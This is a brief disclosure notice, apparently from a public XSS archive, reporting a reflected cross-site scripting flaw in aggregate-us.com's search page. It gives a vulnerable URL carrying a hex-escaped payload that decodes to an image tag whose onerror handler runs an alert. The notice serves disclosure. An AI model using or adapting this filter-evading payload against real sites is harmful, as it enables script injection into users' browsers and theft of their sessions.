aggregate-us.com XSS vulnerability

Vulnerable URL: http://www.aggregate-us.com/search/search=',%22%5Cx3C%5Cx69%5Cx6D%5Cx67%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3D%5Cx78%5Cx20%5Cx6F%5Cx6E%5Cx65%5Cx72%5Cx72%5Cx6F%5Cx72%5Cx3D%5Cx61%5Cx6C%5Cx65%5Cx72%5Cx74%5Cx28%5Cx22%5Cx58%5Cx53%5Cx53%5Cx50%5Cx4F%5Cx53%5Cx45%5Cx44%5Cx22%5Cx29%5Cx3E%22%2B'...